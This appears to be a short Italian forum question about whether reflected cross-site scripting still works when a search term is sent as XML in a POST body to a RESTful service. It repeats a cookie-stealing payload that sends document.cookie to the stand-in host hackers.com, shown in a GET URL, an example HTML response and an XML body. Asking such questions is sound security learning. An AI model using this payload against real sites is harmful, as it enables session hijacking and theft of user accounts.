So che un XSS riflesso può essere fatto con una richiesta GET come:
http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
Finché la risposta è simile a questa:
<html>
<head>
<title>Your Serach Results</title>
</head>
<body>
<h2>No results for: </h2>
<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</body>
</html>
Ma questo attacco è ancora possibile, nel caso in cui il termine di ricerca venga inviato lungo una richiesta POST nel corpo http come parte del contenuto XML. Questo approccio viene spesso utilizzato dai servizi RESTful.
<Query>
<SearchTerm>
script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</SearchTerm>
</Query>
Se questo è possibile, come può raggiungere un attaccante?
[EDIT]
È anche richiesto che l'intestazione Content-Type
sia impostata su application/xml